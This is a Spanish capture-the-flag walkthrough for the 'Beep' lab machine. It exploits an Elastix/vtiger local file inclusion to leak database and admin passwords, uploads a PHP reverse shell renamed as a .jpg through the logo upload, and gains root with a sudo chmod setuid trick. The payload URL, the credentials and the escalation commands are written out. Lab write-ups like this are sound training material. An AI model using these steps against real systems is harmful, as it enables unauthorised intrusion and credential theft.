

## 1. Beep

### Elastix 2.2.0 Exploitation - Local File Inclusion (LFI) Information Leakage Vtiger CRM Exploitation - Abusing File Upload [RCE]

Searchsploit buscamos alguna vulnerabilidad sobre Elastix, que hemos comprado que esta corriendo sobre el puerto 443.

Nos quedamos con la vulnerabilidad LFI

Exploit Title	Path
elastix - "page" Cross-Site Scripting	php/webapps/38878.py
elastix - Multiple Cross-Site Scripting Vulnerabilities	php/webapps/38244.txt
elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities	php/webapps/34942.txt
elastix 2.2.0 - "graph.php" Local File Inclusion	php/webapps/37637.pl
elastix 2.x - Blind SQL Injection	php/webapps/36240.txt
elastix < 2.5 - PHP Code Injection	php/webapps/38891.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution	php/webapps/18658.py

view-


source:https://10.10.10.7///vtigercrm/graph.php?current\_language=../../../../../../../../etc/ampportal.conf%00&module=Accounts&action

Encontramos las siguientes credenciales.

```
→ ↻ view-source:https://10.10.10.7///vtigercrm/graph.php?current_language=../../../../../../../../etc/ampportal.conf%00&module=Accounts&action
6 # This file contains settings for components of the Asterisk Management Portal
7 # Spaces are not allowed!
8 # Run /usr/src/AMP/apply_conf.sh after making changes to this file
9
10 # FreePBX Database configuration
11 # AMPDBHOST: Hostname where the FreePBX database resides
12 # AMPDBENGINE: Engine hosting the FreePBX database (e.g. mysql)
13 # AMPDBNAME: Name of the FreePBX database (e.g. asterisk)
14 # AMPDBUSER: Username used to connect to the FreePBX database
15 # AMPDBPASS: Password for AMPDBUSER (above)
16 # AMPENGINE: Telephony backend engine (e.g. asterisk)
17 # AMPMGRUSER: Username to access the Asterisk Manager Interface
18 # AMPMGRPASS: Password for AMPMGRUSER
19 #
20 AMPDBHOST=localhost
21 AMPDBENGINE=mysql
22 # AMPDBNAME=asterisk
23 AMPDBUSER=asteriskuser
24 # AMPDBPASS=amp109
25 AMPDBPASS=jEhdIekWmdjE
26 AMPENGINE=asterisk
27 AMPMGRUSER=admin
28 #AMPMGRPASS=amp111
29 AMPMGRPASS=jEhdIekWmdjE
30
```

Nos logamos en <https://10.10.10.7/vtigercrm> con las credenciales de admin obtenidas y nos vamos a <https://10.10.10.7/vtigercrm/index.php?module=Settings&action=OrganizationConfig&parenttab=Settings>

Este software tiene una vulnerabilidad a la hora de cambiar la imagen. Podemos meter una reverse shell. Nos descargamos una reverse shell de la web pentestmonkey. La modificamos con nuestra ip y nos ponemos en escucha. Subimos el fichero con el nombre php-reverse-shell.php.jpg.

 **Settings > Company Details**  
Specify business address of your company

---

**Company Details** Edit

Company Name	vtiger
Company Logo	
Address	40-41-42, Sivasundar Apartments, Flat D-II, Shastri Street, Velachery
City	Chennai
State	Tamil Nadu
Postal Code	600 042
Country	India
Phone	+91-44-5202-1990
Fax	+91-44-5202-1990
Website	www.vtiger.com

Y obtenemos accesos. Miramos los privilegios que tenemos, y tenemos infinidad de permisos.

```
User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper
```

Usamos el permiso de chmod, por ejemplo y ejecutamos:

- `sudo chmod u+s /bin/bash`
- `bash -p`

Y con esto hemos ganado acceso como root.